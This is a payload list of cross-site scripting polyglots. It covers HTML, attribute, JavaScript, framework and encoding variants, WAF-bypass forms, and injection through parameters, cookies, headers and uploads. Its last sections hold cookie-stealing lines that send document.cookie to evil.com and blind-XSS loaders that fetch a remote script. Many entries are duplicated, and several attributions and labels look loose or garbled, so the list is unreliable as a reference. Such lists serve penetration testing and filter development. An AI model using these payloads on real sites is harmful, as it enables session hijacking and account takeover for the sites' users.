# Polyglot XSS Payloads
# Payloads that work in multiple contexts (HTML, attributes, JavaScript, etc.)

# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E

# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A
javascript://%250Aalert(1)//%0A

# Double encoded
%253Cscript%253Ealert(1)%253C/script%253E

# Classic polyglot
'-alert(1)-
';alert(1);//
";alert(1);//

# Multi-context payload
javascript://-->%250A</title></textarea></style></script></xmp><svg/onload='+/"/+/onmouseover=alert()//'>
javascript://%250Aalert(1)//%250A
javascript://%250A</script><script>alert(1)</script>

# Roderick Hsueh polyglot
'-alert(1)-'
';alert(1)//

# String polyglot
'";alert(1);//

# HTML/JS/Attribute polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
<img src=x onerror=alert(1)>

# Another popular polyglot
%3Cscript%3Ealert(1)%3C%2Fscript%3E
<iframe src="javascript:alert(1)">

# Universal polyglot (works in many contexts)
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# === More Advanced Polyglot Payloads ===

# Famous polyglot by @shafigullin
# Works in: HTML body, HTML attribute, JavaScript string, CSS
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# @brutelogic polyglot
';alert(1)//';alert(1)//';alert(1)//';alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//

# Mathias Karlsson advanced polyglot
javascript://comment%250Aalert(1)//comment%250A

# Multi-context polyglot by Ashar Javed
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# === Context-Specific Polyglots ===

# HTML Body + Attribute polyglot
<svg/onload=alert(1)>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>

# JavaScript + HTML polyglot
'-alert(1)-'
'-alert(1)-'
</script><script>alert(1)</script>

# Attribute + Script polyglot
"></script><img src=x onerror=alert(1)><script>
'><img src=x onerror=alert(1)>

# CSS + JavaScript + HTML polyglot
</style><script>alert(1)</script><style>

# URL + JavaScript polyglot
javascript://%250Aalert(1)//%250A
data:text/html,<script>alert(1)</script>

# === Advanced Multi-Context Polyglots ===

# Works in: script tag (string), HTML attribute, HTML body
'-alert(1)-'
';alert(1);//
";alert(1);//
'-alert(1)-'
</script><img src=x onerror=alert(1)>

# === Rsnake polyglot variants ===
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//

# === Federico dotto polyglot ===
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
<img src=x onerror=alert(1)>

# === Gareth Heyes polyglot ===
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# === Ian Coldwater polyglot ===
'-alert(1)-'
</script><script>alert(1)</script>

# === Universal polyglot for all contexts ===
javascript://%250A</title></textarea></style></script></xmp><svg/onload='+/"/+/onmouseover=alert()//'>

# === Works in: HTML, Script string, Style, URL ===
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# === Browser-specific polyglots ===
# Chrome/Edge
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# Firefox
<svg onload=alert(1)>

# Safari
<script>alert(1)</script>

# === Encoding-based polyglots ===
# URL encoding
%3Cimg%20src=x%20onerror=alert(1)%3E

# Double URL encoding
%253Cimg%2520src=x%2520onerror=alert(1)%253E

# Unicode encoding
\u003Cscript\u003Ealert(1)\u003C/script\u003E

# Hex encoding
\x3Cscript\x3Ealert(1)\x3C/script\x3E

# === Mixed context polyglots ===
# HTML + JavaScript string + Attribute
'-alert(1)-'
';alert(1);//
";alert(1);//

# Style + Script
</style><script>alert(1)</script><style>

# Comment-based polyglot
<!--%3Cscript%3Ealert(1)%3C/script%3E-->

# === Template literal polyglots ===
`<script>alert(1)</script>`
`${alert(1)}`

# === Event handler polyglots ===
onmouseover=alert(1)
onclick=alert(1)
onload=alert(1)
onerror=alert(1)
onfocus=alert(1) autofocus

# === Polyglot with multiple closing tags ===
</script></textarea></style></title></xmp><svg/onload=alert(1)>

# === Minimal polyglots ===
x<script>alert(1)</script>
x<svg/onload=alert(1)>
x<img/src=x onerror=alert(1)>

# === No quotes polyglot ===
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# === With special characters ===
'-alert(1)-'
'-alert(1)-'
';alert(1);//
\x3Cscript\x3Ealert(1)\x3C/script\x3E

# === Framework-aware polyglots ===
# AngularJS
{{constructor.constructor('alert(1)')()}}
{{$eval('alert(1)')}}

# Vue.js
{{constructor.constructor('alert(1)')()}}

# React (if dangerouslySetInnerHTML used)
<img src=x onerror=alert(1)>

# === CSP-aware polyglots ===
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

# === Data protocol polyglots ===
data:text/html,<script>alert(1)</script>
data:text/html,<img src=x onerror=alert(1)>
data:image/svg+xml,<svg onload=alert(1)>

# === Protocol-relative polyglots ===
//evil.com/xss.js
<script src=//evil.com></script>

# === DOM-based polyglots ===
#<img src=x onerror=alert(1)>
#<svg onload=alert(1)>

# === Polyglot with various encoding ===
javascript://%250Aalert(1)//%250A
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# === Ashar Javed's famous polyglot ===
# Works in: Script tag (closed/open), HTML body, HTML attribute
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>

# === XOR-based polyglot ===
^onerror=alert(1)^
<script>alert(1)</script>

# === Polyglot for reflected parameters ===
?x=%3Cscript%3Ealert(1)%3C%2Fscript%3E
?x=<script>alert(1)</script>
?x=<img src=x onerror=alert(1)>

# === Multi-encoding polyglot ===
%253Cscript%253Ealert(1)%253C/script%253E
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>

# === HTML entity polyglot ===
&lt;script&gt;alert(1)&lt;/script&gt;
&#60;script&#62;alert(1)&#60;/script&#62;

# === Case variation polyglots ===
<SCRIPT>ALERT(1)</SCRIPT>
<ScRiPt>AlErT(1)</ScRiPt>
<IMG SRC=X ONERROR=ALERT(1)>
<ImG sRx=x oNeRrOr=AlErT(1)>

# === Without space polyglots ===
<script>alert(1)</script>
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# === Slash variations ===
<script>alert(1)</script>
<script>alert(1)>

# === Self-closing tag polyglots ===
<script>alert(1)/
<img src=x onerror=alert(1)/
<svg onload=alert(1)//

# === Polyglot for WAF bypass ===
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

# === Polyglot with comments ===
<!--><script>alert(1)</script>-->
<!--<script>alert(1)</script>-->

# === Polyglot for URL parameters ===
?x=%3Cscript%3Ealert(1)%3C%2Fscript%3E
&x=<img src=x onerror=alert(1)>

# === Polyglot for POST data ===
x=%3Cscript%3Ealert(1)%3C%2Fscript%3E&y=<img src=x onerror=alert(1)>

# === Polyglot for cookies ===
xss=%3Cscript%3Ealert(1)%3C%2Fscript%3E;
session=<img src=x onerror=alert(1)>

# === Polyglot for headers ===
X-Forwarded-For: <script>alert(1)</script>
User-Agent: <img src=x onerror=alert(1)>
Referer: <svg onload=alert(1)>

# === Polyglot for file upload ===
xss.svg
<script>alert(1)</script>

# === Complex polyglot by @0xSobky ===
# Works in HTML body, HTML attribute, JavaScript string, CSS
javascript://%250A</title></textarea></style></script></xmp><svg/onload='+/"/+/onmouseover=alert()//'>

# === Minimal working polyglot ===
x<video><source onerror=alert(1)>
x<audio><source onerror=alert(1)>
x<details open ontoggle=alert(1)>

# === Polyglot with multiple event handlers ===
x<img src=x onerror=alert(1) onmouseover=alert(2) onclick=alert(3)>
x<svg onload=alert(1) onmouseover=alert(2)>

# === Polyglot for different injection points ===
# URL parameter
param=<script>alert(1)</script>

# POST body
field=<img src=x onerror=alert(1)>

# Cookie
session=x<svg/onload=alert(1)>

# Header
X-Test: <iframe src=javascript:alert(1)>

# === Polyglot with sleep/delay ===
<script>setTimeout('alert(1)',1000)</script>
<img src=x onerror="setTimeout('alert(1)',1000)">
<svg onload="setTimeout('alert(1)',1000)">

# === Polyglot with data exfiltration ===
<script>fetch('http://evil.com/?c='+document.cookie)</script>
<img src=x onerror="fetch('http://evil.com/?c='+document.cookie)">
<svg onload="location='http://evil.com/?c='+document.cookie">

# === Polyglot for blind XSS ===
<script src=http://evil.com/xss.js></script>
<img src=x onerror="var s=document.createElement('script');s.src='http://evil.com/xss.js';document.body.appendChild(s)">
<svg onload="fetch('http://evil.com/?x='+document.cookie)">
